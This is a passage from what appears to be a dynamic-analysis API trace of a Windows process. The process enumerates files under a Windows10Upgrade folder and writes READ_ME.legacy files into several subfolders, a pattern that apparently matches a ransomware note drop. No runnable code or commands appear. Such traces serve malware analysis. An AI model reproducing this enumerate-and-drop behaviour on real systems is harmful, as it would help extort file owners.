ftCreationTime.dwLowDateTime=0xea3c12fc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c12fc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1468, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="default_oobe.css", cAlternateFileName="DEFAUL~2.CSS")) returned 1 [0115.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0115.096] GetLastError () returned 0x0 [0115.096] SetLastError (dwErrCode=0x0) [0115.096] GetLastError () returned 0x0 [0115.096] SetLastError (dwErrCode=0x0) [0115.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0115.096] GetLastError () returned 0x0 [0115.097] SetLastError (dwErrCode=0x0) [0115.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0115.097] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c2685, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c2685, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7f589b00, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0x100ae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="default_oobe.htm", cAlternateFileName="DEFAUL~2.HTM")) returned 1 [0115.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0115.097] GetLastError () returned 0x0 [0115.097] SetLastError (dwErrCode=0x0) [0115.097] GetLastError () returned 0x0 [0115.097] SetLastError (dwErrCode=0x0) [0115.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0115.097] GetLastError () returned 0x0 [0115.097] SetLastError (dwErrCode=0x0) [0115.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.098] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea5f6eb5, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA", cAlternateFileName="")) returned 1 [0115.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d10 [0115.098] GetLastError () returned 0x0 [0115.098] SetLastError (dwErrCode=0x0) [0115.098] GetLastError () returned 0x0 [0115.098] SetLastError (dwErrCode=0x0) [0115.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0115.098] GetLastError () returned 0x0 [0115.098] SetLastError (dwErrCode=0x0) [0115.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d768 [0115.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0115.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0115.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0115.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0115.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0115.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.099] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0115.099] GetLastError () returned 0x0 [0115.099] SetLastError (dwErrCode=0x0) [0115.099] GetLastError () returned 0x0 [0115.099] SetLastError (dwErrCode=0x0) [0115.099] GetLastError () returned 0x0 [0115.100] SetLastError (dwErrCode=0x0) [0115.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0115.100] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.120] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0115.120] WriteFile (in: hFile=0x638, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.121] CloseHandle (hObject=0x638) returned 1 [0115.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0115.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0115.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0115.122] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.css", cAlternateFileName="")) returned 1 [0115.122] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.122] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0115.122] GetLastError () returned 0x0 [0115.122] SetLastError (dwErrCode=0x0) [0115.122] GetLastError () returned 0x0 [0115.122] SetLastError (dwErrCode=0x0) [0115.122] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.122] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0115.122] GetLastError () returned 0x0 [0115.122] SetLastError (dwErrCode=0x0) [0115.122] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0115.122] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0115.122] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0115.122] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xef0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GetStarted.png", cAlternateFileName="GETSTA~1.PNG")) returned 1 [0115.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ba8 [0115.123] GetLastError () returned 0x0 [0115.123] SetLastError (dwErrCode=0x0) [0115.123] GetLastError () returned 0x0 [0115.123] SetLastError (dwErrCode=0x0) [0115.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0115.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0115.123] GetLastError () returned 0x0 [0115.123] SetLastError (dwErrCode=0x0) [0115.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.124] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.124] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0115.124] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfe3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GetStartedHoverOver.png", cAlternateFileName="GETSTA~2.PNG")) returned 1 [0115.124] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0115.124] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.124] GetLastError () returned 0x0 [0115.124] SetLastError (dwErrCode=0x0) [0115.124] GetLastError () returned 0x0 [0115.124] SetLastError (dwErrCode=0x0) [0115.124] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.124] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.124] GetLastError () returned 0x0 [0115.124] SetLastError (dwErrCode=0x0) [0115.124] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.124] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.124] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0115.124] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x43f3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="loading.gif", cAlternateFileName="")) returned 1 [0115.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b18 [0115.125] GetLastError () returned 0x0 [0115.125] SetLastError (dwErrCode=0x0) [0115.125] GetLastError () returned 0x0 [0115.125] SetLastError (dwErrCode=0x0) [0115.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0115.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b18 | out: hHeap=0x520000) returned 1 [0115.125] GetLastError () returned 0x0 [0115.125] SetLastError (dwErrCode=0x0) [0115.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0115.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0115.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0115.125] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea600acc, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea600acc, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x749e0600, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0xe5d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="lock.png", cAlternateFileName="")) returned 1 [0115.125] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0115.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578fe0 [0115.126] GetLastError () returned 0x0 [0115.126] SetLastError (dwErrCode=0x0) [0115.126] GetLastError () returned 0x0 [0115.126] SetLastError (dwErrCode=0x0) [0115.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0115.126] GetLastError () returned 0x0 [0115.126] SetLastError (dwErrCode=0x0) [0115.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0115.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0115.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0115.126] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xa33, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="logo.png", cAlternateFileName="")) returned 1 [0115.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.126] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d10 [0115.126] GetLastError () returned 0x0 [0115.126] SetLastError (dwErrCode=0x0) [0115.126] GetLastError () returned 0x0 [0115.127] SetLastError (dwErrCode=0x0) [0115.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0115.127] GetLastError () returned 0x0 [0115.127] SetLastError (dwErrCode=0x0) [0115.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0115.127] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="marketing.png", cAlternateFileName="MARKET~1.PNG")) returned 1 [0115.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0115.127] GetLastError () returned 0x0 [0115.127] SetLastError (dwErrCode=0x0) [0115.127] GetLastError () returned 0x0 [0115.127] SetLastError (dwErrCode=0x0) [0115.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0115.128] GetLastError () returned 0x0 [0115.128] SetLastError (dwErrCode=0x0) [0115.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0115.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0115.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0115.128] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea60a72c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WinJS", cAlternateFileName="MICROS~1.WIN")) returned 1 [0115.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0115.128] GetLastError () returned 0x0 [0115.128] SetLastError (dwErrCode=0x0) [0115.128] GetLastError () returned 0x0 [0115.128] SetLastError (dwErrCode=0x0) [0115.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0115.128] GetLastError () returned 0x0 [0115.129] SetLastError (dwErrCode=0x0) [0115.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0115.129] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.129] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0115.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0115.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0115.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x567010 [0115.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0115.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0115.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0115.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.130] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0115.130] GetLastError () returned 0x0 [0115.130] SetLastError (dwErrCode=0x0) [0115.130] GetLastError () returned 0x0 [0115.130] SetLastError (dwErrCode=0x0) [0115.130] GetLastError () returned 0x0 [0115.130] SetLastError (dwErrCode=0x0) [0115.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.130] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.149] WriteFile (in: hFile=0x638, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.150] CloseHandle (hObject=0x638) returned 1 [0115.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0115.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0115.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567010 | out: hHeap=0x520000) returned 1 [0115.150] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea627c0d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea627c0d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x97e0d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NetworkIssueFAQ.mht", cAlternateFileName="NETWOR~1.MHT")) returned 1 [0115.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.150] GetLastError () returned 0x0 [0115.150] SetLastError (dwErrCode=0x0) [0115.150] GetLastError () returned 0x0 [0115.150] SetLastError (dwErrCode=0x0) [0115.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.151] GetLastError () returned 0x0 [0115.151] SetLastError (dwErrCode=0x0) [0115.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0115.151] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x875, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NoNetworkConnection.png", cAlternateFileName="NONETW~1.PNG")) returned 1 [0115.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0115.151] GetLastError () returned 0x0 [0115.151] SetLastError (dwErrCode=0x0) [0115.151] GetLastError () returned 0x0 [0115.151] SetLastError (dwErrCode=0x0) [0115.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578da0 | out: hHeap=0x520000) returned 1 [0115.151] GetLastError () returned 0x0 [0115.151] SetLastError (dwErrCode=0x0) [0115.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0115.152] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea631830, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea631830, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NoNetworkConnectionHoverOver.png", cAlternateFileName="NONETW~2.PNG")) returned 1 [0115.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.152] GetLastError () returned 0x0 [0115.152] SetLastError (dwErrCode=0x0) [0115.152] GetLastError () returned 0x0 [0115.152] SetLastError (dwErrCode=0x0) [0115.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0115.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.152] GetLastError () returned 0x0 [0115.152] SetLastError (dwErrCode=0x0) [0115.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0115.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0115.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.153] FindNextFileW (in: hFindFile=0x5c6598, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63c947, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="pass.png", cAlternateFileName="")) returned 1 [0115.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0115.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578fe0 [0115.153] GetLastError () returned 0x0 [0115.153] SetLastError (dwErrCode=0x0) [0115.153] GetLastError () returned 0x0 [0115.153] SetLastError (dwErrCode=0x0) [0115.153] RtlAllocateHeap (HeapHandle=0x520000, 